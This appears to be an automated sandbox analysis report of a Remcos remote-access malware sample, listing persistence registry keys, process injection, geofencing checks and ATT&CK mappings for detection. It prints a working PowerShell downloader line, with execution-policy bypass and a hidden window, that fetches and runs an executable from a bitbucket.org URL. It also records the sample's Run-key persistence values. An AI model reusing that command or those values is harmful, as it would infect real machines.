remcos | e5f2879072cdd3e4905f5fa8017be818d2c61f718d0fd322196e9cd54062ba4a

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\Realtek Audio-J15M0S = "\"C:\\Users\\Admin\\AppData\\Roaming\\Realtek Audio\\Realtek Driver.exe\""	Realtek Driver.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run	iexplore.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\Realtek Audio-J15M0S = "\"C:\\Users\\Admin\\AppData\\Roaming\\Realtek Audio\\Realtek Driver.exe\""	iexplore.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run	EkXH.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\Realtek Audio-J15M0S = "\"C:\\Users\\Admin\\AppData\\Roaming\\Realtek Audio\\Realtek Driver.exe\""	EkXH.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run	Realtek Driver.exe

Blocklisted process makes network request 2 IoCs

flow	pid	Process
14	3932	powershell.exe
17	3932	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3932	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Control Panel\International\Geo\Nation	EkXH.exe

Executes dropped EXE 2 IoCs

pid	Process
2584	EkXH.exe
1496	Realtek Driver.exe

Adds Run key to start application 2 TTPs 6 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Realtek Audio-J15M0S = "\"C:\\Users\\Admin\\AppData\\Roaming\\Realtek Audio\\Realtek Driver.exe\""	EkXH.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Realtek Audio-J15M0S = "\"C:\\Users\\Admin\\AppData\\Roaming\\Realtek Audio\\Realtek Driver.exe\""	EkXH.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Realtek Audio-J15M0S = "\"C:\\Users\\Admin\\AppData\\Roaming\\Realtek Audio\\Realtek Driver.exe\""	Realtek Driver.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Realtek Audio-J15M0S = "\"C:\\Users\\Admin\\AppData\\Roaming\\Realtek Audio\\Realtek Driver.exe\""	Realtek Driver.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Realtek Audio-J15M0S = "\"C:\\Users\\Admin\\AppData\\Roaming\\Realtek Audio\\Realtek Driver.exe\""	iexplore.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Realtek Audio-J15M0S = "\"C:\\Users\\Admin\\AppData\\Roaming\\Realtek Audio\\Realtek Driver.exe\""	iexplore.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
13	bitbucket.org
14	bitbucket.org

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 1496 set thread context of 4316	1496	Realtek Driver.exe	99
PID 4316 set thread context of 1588	4316	iexplore.exe	100

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Realtek Driver.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	iexplore.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EkXH.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	EkXH.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3932	powershell.exe
3932	powershell.exe
1496	Realtek Driver.exe
1496	Realtek Driver.exe

Suspicious behavior: MapViewOfSection 2 IoCs

pid	Process
1496	Realtek Driver.exe
4316	iexplore.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3932	powershell.exe

Suspicious use of WriteProcessMemory 17 IoCs

description	pid	Process	procid_target
PID 3212 wrote to memory of 3932	3212	mshta.exe	83
PID 3212 wrote to memory of 3932	3212	mshta.exe	83
PID 3212 wrote to memory of 3932	3212	mshta.exe	83
PID 3932 wrote to memory of 2584	3932	powershell.exe	94
PID 3932 wrote to memory of 2584	3932	powershell.exe	94
PID 3932 wrote to memory of 2584	3932	powershell.exe	94
PID 2584 wrote to memory of 1496	2584	EkXH.exe	98
PID 2584 wrote to memory of 1496	2584	EkXH.exe	98
PID 2584 wrote to memory of 1496	2584	EkXH.exe	98
PID 1496 wrote to memory of 4316	1496	Realtek Driver.exe	99
PID 1496 wrote to memory of 4316	1496	Realtek Driver.exe	99
PID 1496 wrote to memory of 4316	1496	Realtek Driver.exe	99
PID 1496 wrote to memory of 4316	1496	Realtek Driver.exe	99
PID 4316 wrote to memory of 1588	4316	iexplore.exe	100
PID 4316 wrote to memory of 1588	4316	iexplore.exe	100
PID 4316 wrote to memory of 1588	4316	iexplore.exe	100
PID 4316 wrote to memory of 1588	4316	iexplore.exe	100

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\1111.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3212
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "$path = $Env:temp + '\EkXH.exe'; $client = New-Object System.Net.WebClient; $client.downloadfile('https://bitbucket.org/docspaceplace/test2/downloads/1.exe', $path); Start-Sleep -Seconds 10; Start-Process -Verb RunAs -FilePath $path -ArgumentList '-install'; Start-Sleep -Seconds 20; Remove-Item -Verb RunAs -Path \$path -Force"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3932
- - C:\Users\Admin\AppData\Local\Temp\EkXH.exe
    "C:\Users\Admin\AppData\Local\Temp\EkXH.exe" -install
    3⤵
    - Adds policy Run key to start application
    - Checks computer location settings
    - Executes dropped EXE
    - Adds Run key to start application
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    - Suspicious use of WriteProcessMemory
    PID:2584
  - - C:\Users\Admin\AppData\Roaming\Realtek Audio\Realtek Driver.exe
      "C:\Users\Admin\AppData\Roaming\Realtek Audio\Realtek Driver.exe"
      4⤵
      Adds policy Run key to start application
      Executes dropped EXE
      Adds Run key to start application
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: MapViewOfSection
      Suspicious use of WriteProcessMemory
      PID:1496
    - - \??\c:\program files (x86)\internet explorer\iexplore.exe
        
        "c:\program files (x86)\internet explorer\iexplore.exe"
        5⤵
        Adds policy Run key to start application
        Adds Run key to start application
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: MapViewOfSection
        Suspicious use of WriteProcessMemory
        
        PID:4316
      - C:\Windows\SysWOW64\svchost.exe
        
        svchost.exe
        6⤵
        
        PID:1588

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service